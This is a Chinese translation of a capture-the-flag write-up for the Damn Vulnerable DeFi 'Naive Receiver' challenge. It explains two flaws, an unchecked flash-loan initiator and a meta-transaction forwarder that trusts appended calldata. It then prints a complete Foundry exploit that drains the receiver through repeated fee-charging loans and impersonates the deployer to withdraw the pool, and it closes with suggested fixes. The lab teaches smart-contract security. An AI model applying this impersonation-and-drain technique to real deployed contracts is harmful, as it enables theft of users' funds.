本文分析了Damn Vulnerable DeFi V4挑战中的 Naive Receiver 漏洞。该挑战结合了闪电贷滥用和元交易转发器的安全问题。攻击者可以通过强制对 FlashLoanReceiver 进行闪电贷,支付手续费来耗尽其资金。然后,通过构造包含池部署者地址的元交易,冒充部署者提取池中的所有资金。
本解释假设你事先了解此挑战中的智能合约,并将仅侧重于漏洞分析。
有一个池子,余额为 1000 WETH,提供闪电贷。它有 1 WETH 的固定费用。该池通过与一个无需许可的转发器合约集成来支持元交易。
一个用户部署了一个示例合约,余额为 10 WETH。看起来它可以执行 WETH 的闪电贷。
所有资金都有风险!从用户和池子中拯救所有 WETH,并将其存入指定的恢复帐户。
NaiveReceiver 挑战提出了多个漏洞,这些漏洞结合了闪电贷滥用和元交易转发器安全问题。该系统允许任何人强制对接收者合约进行闪电贷,并且在元交易实现中缺乏适当的验证。核心漏洞在于两个未能验证交易发起者的关键函数:
function onFlashLoan(address, address token, uint256 amount, uint256 fee, bytes calldata)
external
returns (bytes32)
{
assembly {
// gas savings
// gas 优化
if iszero(eq(sload(pool.slot), caller())) {
mstore(0x00, 0x48f5c3ed)
revert(0x1c, 0x04)
}
}
// no check for who initiated the flash loan
// 没有检查谁发起了闪电贷
// although function receives the initiator address as the first parameter
// 尽管函数接收发起者地址作为第一个参数
}
function _msgSender() internal view override returns (address) {
if (msg.sender == trustedForwarder && msg.data.length >= 20) {
return address(bytes20(msg.data[msg.data.length - 20:])); // returns the last 20 bytes of the calldata as an address
// 将 calldata 的最后 20 个字节作为地址返回
} else {
return super._msgSender();
}
}
此实现是易受攻击的,因为 FlashLoanReceiver 仅验证调用者是否为池子,但不检查谁发起了交易,并且元交易转发器允许任何人通过在 calldata 中附加地址来伪装其他地址。
/**
* CODE YOUR SOLUTION HERE
* 在此编写你的解决方案
*/
function test_naiveReceiver() public checkSolvedByPlayer {
uint8 numberOfCalls = 11;
// Create an array of encoded flashLoan calls
// 创建一个编码的 flashLoan 调用的数组
bytes[] memory encodedCalls = new bytes[](numberOfCalls);
for(uint8 i = 0; i < 10; i++) {
// Encode the call to flashLoan
// 编码 flashLoan 调用
encodedCalls[i] = abi.encodeWithSignature(
"flashLoan(address,address,uint256,bytes)",
address(receiver),
address(weth),
0,
""
);
}
// Encode the call to withdraw
// 编码 withdraw 调用
encodedCalls[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_RECEIVER + WETH_IN_POOL, payable(recovery))),
bytes32(uint256(uint160(deployer)))
);
// Encode the multicall data
// 编码 multicall 数据
bytes memory multicallData = abi.encodeCall(pool.multicall, encodedCalls);
// Create the request
// 创建请求
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: gasleft(),
nonce: forwarder.nonces(player),
data: multicallData,
deadline: 1 days
});
// Hash the request
// 哈希请求
bytes32 requestHash = keccak256(abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
// Sign the request
// 签名请求
(uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
// Execute the transaction
// 执行交易
forwarder.execute(request, signature);
}
预防机制
在 onFlashLoan
函数中,一个简单的 require(initiator == owner, "Unauthorized")
检查就足以防止合约被耗尽。
至于提款,如果 _msgSender()
验证了附加的地址实际上是原始请求的签名者,则可以防止该漏洞。
GitHub 存储库,包含解决方案:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!